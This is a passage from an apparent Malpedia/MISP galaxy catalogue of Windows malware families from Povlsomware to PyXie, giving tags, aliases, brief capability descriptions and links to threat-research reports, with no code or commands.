https://www.youtube.com/watch?v=MaPXDCq-Gf4
https://twitter.com/MBThreatIntel/status/1240389621638402049?s=20
https://www.carbonblack.com/blog/tau-threat-discovery-cryptocurrency-clipper-malware-evolves/
https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/?web_view=true

Povlsomware

According to Trend Micro, Povlsomware (Ransom.MSIL.POVLSOM.THBAOBA) is a proof-of-concept (POC) ransomware first released in November 2020 which, according to their Github page, is used to "securely" test the ransomware protection capabilities of security vendor products.

The tag is: *misp-galaxy:malpedia="Povlsomware"*

Povlsomware is also known as:

Table 2848. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.povlsomware
https://youtu.be/oYLs6wuoOfg
https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html

Poweliks

The tag is: *misp-galaxy:malpedia="Poweliks"*

Poweliks is also known as:

Table 2849. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.poweliks
https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
https://www.gdatasoftware.com/blog/2014/07/23947-poweliks-the-persistent-malware-without-a-file
https://www.zscaler.com/blogs/research/malvertising-targeting-european-transit-users

POWERBAND

NET variant of ps1.powerton.

The tag is: *misp-galaxy:malpedia="POWERBAND"*

POWERBAND is also known as:

Table 2850. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerband
https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/

PowerCat

The tag is: *misp-galaxy:malpedia="PowerCat"*

PowerCat is also known as:

Table 2851. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powercat
https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/
https://twitter.com/VK_Intel/status/1141540229951709184
https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

PowerDuke

The tag is: *misp-galaxy:malpedia="PowerDuke"*

PowerDuke is also known as:

Table 2852. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke
https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

powerkatz

The tag is: *misp-galaxy:malpedia="powerkatz"*

powerkatz is also known as:

Table 2853. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerkatz
https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/

PowerLoader

The tag is: *misp-galaxy:malpedia="PowerLoader"*

PowerLoader is also known as:

Table 2854. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html

PowerPool

The tag is: *misp-galaxy:malpedia="PowerPool"*

PowerPool is also known as:

Table 2855. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

PowerShellRunner

The tag is: *misp-galaxy:malpedia="PowerShellRunner"*

PowerShellRunner is also known as:

Table 2856. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powershellrunner
https://raw.githubusercontent.com/k-vitali/Malware-Misc-RE/master/2019-04-13-Possible-Turla-PowerShell-Implant.ps1
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/

Powersniff

A malware of the gozi group, developed on the base of isfb. It uses Office Macros and PowerShell in documents distributed in e-mail messages.

The tag is: *misp-galaxy:malpedia="Powersniff"*

Powersniff is also known as:

- PUNCHBUGGY

Table 2857. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff
https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf
https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/
https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/
https://lokalhost.pl/gozi_tree.txt
https://content.fireeye.com/m-trends/rpt-m-trends-2017

PowerRatankba

QUICKRIDE.POWER is a PowerShell variant of the QUICKRIDE backdoor. Its payloads are often saved to C:\windows\temp\

The tag is: *misp-galaxy:malpedia="PowerRatankba"*

PowerRatankba is also known as:

- QUICKRIDE.POWER

Table 2858. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/
https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://content.fireeye.com/apt/rpt-apt38
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/

prb_backdoor

The tag is: *misp-galaxy:malpedia="prb_backdoor"*

prb_backdoor is also known as:

Table 2859. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prb_backdoor
https://sec0wn.blogspot.com/2018/05/prb-backdoor-fully-loaded-powershell.html

Predator The Thief

Predator is a feature-rich information stealer. It is sold on hacking forums as a bundle which includes: Payload builder and Command and Control web panel. It is able to grab passwords from browsers, replace cryptocurrency wallets, and take photos from the web-camera. It is developed by using a modular approach so that criminals may add more sophisticated tools on top of the it.

The tag is: *misp-galaxy:malpedia="Predator The Thief"*

Predator The Thief is also known as:

Table 2860. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.predator
https://www.secureworks.com/research/threat-profiles/gold-galleon
https://www.fortinet.com/blog/threat-research/predator-the-thief-new-routes-delivery.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/
https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf
https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/
https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://securelist.com/a-predatory-tale/89779

Prikormka

The tag is: *misp-galaxy:malpedia="Prikormka"*

Prikormka is also known as:

Table 2861. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prikormka
https://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

Prilex

The tag is: *misp-galaxy:malpedia="Prilex"*

Prilex is also known as:

Table 2862. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prilex
https://www.kaspersky.com/blog/chip-n-pin-cloning/21502
https://blog.trendmicro.com/trendlabs-security-intelligence/dissecting-prilex-cutlet-maker-atm-malware-families/

PrincessLocker

The tag is: *misp-galaxy:malpedia="PrincessLocker"*

PrincessLocker is also known as:

Table 2863. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.princess_locker
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/
https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/

PrivateLoader

The tag is: *misp-galaxy:malpedia="PrivateLoader"*

PrivateLoader is also known as:

Table 2864. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader
https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f
https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem
https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service
https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise
https://www.youtube.com/watch?v=Ldp7eESQotM
https://www.zscaler.com/blogs/security-research/peeking-privateloader
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html
https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e
https://intel471.com/blog/privateloader-malware
https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/

PRIVATELOG

Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.

The tag is: *misp-galaxy:malpedia="PRIVATELOG"*

PRIVATELOG is also known as:

Table 2865. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.privatelog
https://twitter.com/ESETresearch/status/1433819369784610828
https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html
https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques
https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive

Project Hook POS

The tag is: *misp-galaxy:malpedia="Project Hook POS"*

Project Hook POS is also known as:

Table 2866. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.project_hook
https://threatpost.com/dexter-project-hook-pos-malware-campaigns-persist/104655/

Prometei (Windows)

According to Lior Rochberger, Cybereason, prometei is a modular and multi-stage cryptocurrency botnet. It was discovered in July 2020, Cybereason Nocturnus team found evidence that this Prometei has been evolved since 2016. There are Linux and Windows versions of this malware.

The tag is: *misp-galaxy:malpedia="Prometei (Windows)"*

Prometei (Windows) is also known as:

Table 2867. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities
https://twitter.com/honeymoon_ioc/status/1494016518694309896
https://twitter.com/honeymoon_ioc/status/1494311182550904840

Prometheus

Ransomware written in .NET, apparently derived from the codebase of win.hakbit (Thanos) ransomware.

The tag is: *misp-galaxy:malpedia="Prometheus"*

Prometheus is also known as:

Table 2868. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prometheus
https://medium.com/cycraft/prometheus-decryptor-6933e7bac1ea
https://unit42.paloaltonetworks.com/prometheus-ransomware/
https://therecord.media/decryptor-released-for-prometheus-ransomware-victims/
https://securityintelligence.com/posts/ransomware-encryption-goes-wrong/
https://medium.com/cycraft/the-road-to-ransomware-resilience-c1ca37036efd

https://www.sentinelone.com/labs/spook-ransomware-prometheus-derivative-names-those-that-pay-shames-those-that-dont/
https://twitter.com/inversecos/status/1441252744258461699?s=20
https://id-ransomware.blogspot.com/2021/05/prometheus-ransomware.html
https://www.cybereason.com/blog/cybereason-vs.-prometheus-ransomware
https://medium.com/s2wlab/prometheus-x-spook-prometheus-ransomware-rebranded-spook-ransomware-6f93bd8ab5dd

proteus

The tag is: *misp-galaxy:malpedia="proteus"*

proteus is also known as:

Table 2869. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.proteus
https://www.fortinet.com/blog/threat-research/a-new-all-in-one-botnet-proteus.html

Proto8RAT

The tag is: *misp-galaxy:malpedia="Proto8RAT"*

Proto8RAT is also known as:

Table 2870. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat
https://github.com/avast/ioc/tree/master/OperationDragonCastling

ProtonBot

The tag is: *misp-galaxy:malpedia="ProtonBot"*

ProtonBot is also known as:

Table 2871. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.protonbot
https://www.youtube.com/watch?v=FttiysUZmDw
https://fumik0.com/2019/05/24/overview-of-proton-bot-another-loader-in-the-wild/

Prynt Stealer

The tag is: *misp-galaxy:malpedia="Prynt Stealer"*

Prynt Stealer is also known as:

Table 2872. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.prynt_stealer
https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed
https://blog.cyble.com/2022/04/21/prynt-stealer-a-new-info-stealer-performing-clipper-and-keylogger-activities/
https://twitter.com/vxunderground/status/1519632014361640960

PseudoManuscrypt

The tag is: *misp-galaxy:malpedia="PseudoManuscrypt"*

PseudoManuscrypt is also known as:

Table 2873. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pseudo_manuscrypt
https://asec.ahnlab.com/en/31683/
https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/

PsiX

According to Matthew Mesa, this is a modular bot. The name stems from the string PsiXMainModule in binaries until mid of September 2018.

In binaries, apart from BotModule and MainModule, references to the following Modules have be observed: BrowserModule BTCModule ComplexModule KeyLoggerModule OutlookModule ProcessModule RansomwareModule SkypeModule

The tag is: *misp-galaxy:malpedia="PsiX"*

PsiX is also known as:

Table 2874. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.psix

https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/
https://twitter.com/mesa_matt/status/1035211747957923840
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.proofpoint.com/us/threat-insight/post/psixbot-now-using-google-dns-over-https-and-possible-new-sexploitation-module
https://twitter.com/seckle_ch/status/1169558035649433600
https://www.proofpoint.com/us/threat-insight/post/psixbot-continues-evolve-updated-dns-infrastructure

PSLogger

The tag is: *misp-galaxy:malpedia="PSLogger"*

PSLogger is also known as:

- ECCENTRICBANDWAGON

Table 2875. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a
https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/

PC Surveillance System

Citizenlab notes that PC Surveillance System (PSS) is a commercial spyware product offered by Cyberbit and marketed to intelligence and law enforcement agencies.

The tag is: *misp-galaxy:malpedia="PC Surveillance System"*

PC Surveillance System is also known as:

- PSS

Table 2876. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pss
https://citizenlab.ca/2017/12/champing-cyberbit-ethiopian-dissidents-targeted-commercial-spyware/

Pteranodon

The tag is: *misp-galaxy:malpedia="Pteranodon"*

Pteranodon is also known as:

- Pterodo

Table 2877. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon
https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution
https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/
https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/
https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations
https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game
https://blogs.cisco.com/security/network-footprints-of-gamaredon-group
https://blog.threatstop.com/russian-apt-gamaredon-group
https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/
https://labs.sentinelone.com/pro-russian-cyberspy-gamaredon-intensifies-ukrainian-security-targeting/
https://cert.gov.ua/news/46
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021
https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf
https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html
https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/
https://attack.mitre.org/groups/G0047
https://cert.gov.ua/news/42
https://www.elastic.co/blog/playing-defense-against-gamaredon-group
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/

PubNubRAT

The tag is: *misp-galaxy:malpedia="PubNubRAT"*

PubNubRAT is also known as:

Table 2878. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pubnubrat
http://blog.alyac.co.kr/1853
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html

Punkey POS

The tag is: *misp-galaxy:malpedia="Punkey POS"*

Punkey POS is also known as:

- pospunk
- punkeypos

Table 2879. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos
https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/
https://www.pandasecurity.com/mediacenter/malware/punkeypos/

pupy (Windows)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: *misp-galaxy:malpedia="pupy (Windows)"*

pupy (Windows) is also known as:

- Patpoopy

Table 2880. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html
https://www.infinitumit.com.tr/apt-35/
https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf
https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt
https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf
https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations
https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://github.com/n1nj4sec/pupy
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

PureLocker

ransomware

The tag is: *misp-galaxy:malpedia="PureLocker"*

PureLocker is also known as:

Table 2881. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker
https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dadc8c0e
https://www.intezer.com/blog-purelocker-ransomware-being-used-in-targeted-attacks-against-servers/
https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md

PurpleFox

Purple Fox uses msi.dll function, 'MsiInstallProductA', to download and execute its payload. The payload is a .msi file that contains encrypted shellcode including 32-bit and 64-bit versions. once executed the system will be restarted and uses the 'PendingFileRenameOperations' registry to rename it’s components.

Upon restart the rootkit capability of Purple Fox is invoked. It creates a suspended svchost process and injects a DLL that will create a driver with the rootkit capability.

The latest version of Purple Fox abuses open-source code to enable it’s rootkit components, which includes hiding and protecting its files and registry entries. It also abuses a file utility software to hide its DLL component, which deters reverse engineering.

The tag is: *misp-galaxy:malpedia="PurpleFox"*

PurpleFox is also known as:

Table 2882. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox
https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware
https://www.trendmicro.com/en_us/research/21/l/a-look-into-purple-fox-server-infrastructure.html
https://twitter.com/C0rk1_H/status/1412801973628272641?s=20
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/Technical%20Brief%20-%20A%20Look%20Into%20Purple%20Fox%E2%80%99s%20New%20Arrival%20Vector.pdf
https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html
https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit
https://s.tencent.com/research/report/1322.html
https://www.trendmicro.com/en_in/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html
https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/
https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/
https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit
https://www.guardicore.com/labs/purple-fox-rootkit-now-propagates-as-a-worm/
https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html

https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/
https://blog.malwarebytes.com/trojans/2021/03/perkiler-malware-turns-to-smb-brute-force-to-spread/
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/IOCs-Purple-Fox.txt
https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html

PurpleWave

The tag is: *misp-galaxy:malpedia="PurpleWave"*

PurpleWave is also known as:

Table 2883. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave
https://www.zscaler.com/blogs/research/purplewave-new-infostealer-russia

Pushdo

Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.

The tag is: *misp-galaxy:malpedia="Pushdo"*

Pushdo is also known as:

Table 2884. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo
https://www.secureworks.com/research/pushdo
http://www.secureworks.com/research/threat-profiles/gold-essex
http://malware-traffic-analysis.net/2017/04/03/index2.html
https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf
https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.secureworks.com/research/threat-profiles/gold-essex

https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/

Putabmow

The tag is: *misp-galaxy:malpedia="Putabmow"*

Putabmow is also known as:

Table 2885. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow

puzzlemaker

The dropper module is used to install two executables that pretend to be legitimate files belonging to Microsoft Windows OS. One of these files (%SYSTEM%\WmiPrvMon.exe) is registered as a service and is used as a launcher for the second executable. This second executable (%SYSTEM%\wmimon.dll) has the functionality of a remote shell and can be considered the main payload of the attack.

The tag is: *misp-galaxy:malpedia="puzzlemaker"*

puzzlemaker is also known as:

Table 2886. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.puzzlemaker
https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/

PvzOut

The tag is: *misp-galaxy:malpedia="PvzOut"*

PvzOut is also known as:

Table 2887. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

PwndLocker

PwndLocker is a ransomware that was observed in late 2019 and is reported to have been used to target businesses and local governments/cities. According to one source, ransom amounts demanded as part of PwndLocker activity range from $175k USD to $650k USD depending on the size of the network. PwndLocker attempts to disable a variety of Windows services so that their data can be encrypted. Various processes will also be targeted, such as web browsers and software related to security, backups, and databases. Shadow copies are cleared by the ransomware, and encryption of files occurs once the system has been prepared in this way. Executable files and those that are likely to be important for the system to continue to function appear to be skipped by the ransomware, and a large number of folders mostly related to Microsoft Windows system files are also ignored. As of March 2020, encrypted files have been observed with the added extensions of .key and .pwnd. Ransom notes are dropped in folders where encrypted files are found and also on the user's desktop.

The tag is: *misp-galaxy:malpedia="PwndLocker"*

PwndLocker is also known as:

- ProLock

Table 2888. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker
https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.group-ib.com/blog/prolock_evolution
https://www.intrinsec.com/egregor-prolock/
https://www.group-ib.com/blog/prolock
https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/

https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/
https://www.bleepingcomputer.com/news/security/pwndlocker-ransomware-gets-pwned-decryption-now-available/
https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html
https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://www.zdnet.com/article/fbi-prolock-ransomware-gains-access-to-victim-networks-via-qakbot-infections/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://news.sophos.com/en-us/2020/07/27/prolock-ransomware-gives-you-the-first-8-kilobytes-of-decryption-for-free/
https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/

pwnpos

The tag is: *misp-galaxy:malpedia="pwnpos"*

pwnpos is also known as:

Table 2889. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos
https://twitter.com/physicaldrive0/status/573109512145649664
https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/pwnpos-old-undetected-pos-malware-still-causing-havoc/
https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html

Pykspa

The tag is: *misp-galaxy:malpedia="Pykspa"*

Pykspa is also known as:

Table 2890. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa
https://blogs.akamai.com/sitr/2019/07/pykspa-v2-dga-updated-to-become-selective.html
https://www.youtube.com/watch?v=HfSQlC76_s4
https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/
https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/

PyLocky

PyLocky is a ransomware that tries to pass off as Locky in its ransom note. It is written in Python and packaged with PyInstaller.

The tag is: *misp-galaxy:malpedia="PyLocky"*

PyLocky is also known as:

- Locky Locker

Table 2891. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/
https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/
https://blog.talosintelligence.com/2019/01/pylocky-unlocked-cisco-talos-releases.html
https://www.bleepingcomputer.com/news/security/pylocky-decryptor-released-by-french-authorities/
https://www.cybermalveillance.gouv.fr/nos-articles/outil-dechiffrement-rancongiciel-ransomware-pylocky-v1-2/
https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/
https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/

PyXie

Full-featured Python RAT compiled into an executable.

PyXie RAT functionality includes: * Man-in-the-middle (MITM) Interception * Web-injects * Keylogging * Credential harvesting * Network Scanning * Cookie theft * Clearing logs * Recording video * Running arbitrary payloads * Monitoring USB drives and exfiltrating data * WebDav server * Socks5 proxy * Virtual Network Connection (VNC) * Certificate theft * Inventorying software * Enumerating the domain with Sharphound

The tag is: *misp-galaxy:malpedia="PyXie"*

PyXie is also known as:

- PyXie RAT

Table 2892. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pyxie
https://www.secureworks.com/research/threat-profiles/gold-dupont
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4
https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/
